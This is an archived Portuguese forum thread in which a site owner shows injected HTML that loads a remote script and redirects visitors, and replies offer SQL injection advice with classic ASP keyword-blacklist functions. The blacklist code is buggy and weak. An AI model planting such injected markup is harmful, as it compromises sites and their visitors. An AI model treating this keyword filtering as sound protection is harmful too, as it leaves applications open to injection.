Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

zanelati2002

sql injection

Recommended Posts

pessoal preciso de uma ajuda muito dos brilhantes deste forum tem um engraçadinho dono da www.hostmega.com que esta colocando em meu site em todas as paginas varias paginas tipo default.asp index.asp e outras com o seguinte conteudo

<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Provedor de Hospedagem de Sites e revenda de hospedagem.</title></head><script type='text/javascript' src='http://www.tce.rn.gov.br/sitenovo/03.js'></script><body></body><script> window.location="http://www.hostmega.com/"; </script>

Sera que existe uma forma de poder parar este engraçadinho e colocando também virus alguém pdoe em dar uma ideia tipo um comando que resolveria o sql acho que é sql pois ele consegui em todas as paginas colocar arquivos paginas o que quizer me ajudem

Compartilhar este post


Link para o post
Compartilhar em outros sites

Como evitar uma ataque de injeção SQL

 

A seguir algumas orientações de como você pode evitar um ataque de injeção SQL :

 

1- Estabeleça uma política de segurança rígida e criteriosa limitando o acesso dos seus usuários. Isto quer dizer que você deve dar somente os poderes necessários aos seus usuários. Não de acesso de escrita a tabelas e dê somente acesso as tabelas que o usuário vai precisar.

 

2- Faça a validação da entrada de dados no formulário e não permita os caracteres inválidos como : (') , (--) e ( ; ) nem de palavras maliciosas como insert , drop , delete, xp_ . Abaixo algumas funções que você pode usar:

 

- Substituindo o apóstrofe(') pelo duplo apóstrofe ('')

 

<%Function ExpurgaApostrofe(texto)	ExpurgaApostrofe = replace( texto , "'" , "''")End function %>
- Substituindo os caracteres e palavras maliciosas por vazio("").

 

<%Function LimpaLixo( input )	dim lixo	dim textoOK	lixo = array ( "select" , "drop" ,  ";" , "--" , "insert" , "delete" ,  "xp_")	textoOK = input	 for i = 0 to uBound(lixo)		  textoOK = replace( textoOK ,  lixo(i) , "")	 next	 LimpaLixo = textoOKend Function%>
- Rejeitando os dados maliciosos:

 

<%Function ValidaDados( input )	  lixo = array ( "select" , "insert" , "update" , "delete" , "drop" , "--" , "'")	  ValidaDados = true	  for i = lBound (lixo) to ubound(llixo)			if ( instr(1 ,  input , lixo(i) , vbtextcompare ) <> 0 ) then				  ValidaDados = False				  exit function}			end if	  nextend function%>
3- Limite a entrada de texto para o usuário no formulário de entrada de dados. Se o campo nome deve ter somente 10 caracteres restrinja a isto a entrada de dados no formulário. O mesmo vale para a senha.

 

4- Faça o tratamento adequado de erros não permitindo que mensagens de erros exponham informações sobre a estrutura dos seus dados.

 

5- Faça um log para auditoria dos erros ocorridos e das operações mais importantes da aplicação.

 

 

Leia mais: http://www.superasp.com.br/paginas_exibir_...=0,0&id=328

 

Abraços

Compartilhar este post


Link para o post
Compartilhar em outros sites

velho no caso usei isto tipo depois do form redireciono para esta pagina validar.asp

<%Function ExpurgaApostrofe(texto)    ExpurgaApostrofe = replace( texto , "'" , "''")End function %><%Function LimpaLixo( input )    dim lixo    dim textoOK    lixo = array ( "select" , "drop" ,  ";" , "--" , "insert" , "delete" ,  "xp_")    textoOK = input     for i = 0 to uBound(lixo)          textoOK = replace( textoOK ,  lixo(i) , "")     next     LimpaLixo = textoOKend Function%><%Function ValidaDados( input )      lixo = array ( "select" , "insert" , "update" , "delete" , "drop" , "--" , "'")      ValidaDados = true      for i = lBound (lixo) to ubound(llixo)            if { instr(1 ,  input , lixo(i) , vbtextcompare ) <> 0 ) then                  ValidaDados = False                  exit function}            end if      nextend function%>

Só que da dando este erro

Microsoft VBScript compilation error '800a0408' Invalid character /login/validar.asp, line 36 if { instr(1 ,  input , lixo(i) , vbtextcompare ) <> 0 ) then---^

Compartilhar este post


Link para o post
Compartilhar em outros sites

No ASP VBScript não se usa "{".

 

O básico para barrar SQL Injection é trocar as ' por '' (aspa simples por duas aspa simples), nos campos tipo texto, e para os campos tipo numero verificar com função se é realmente numero.

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.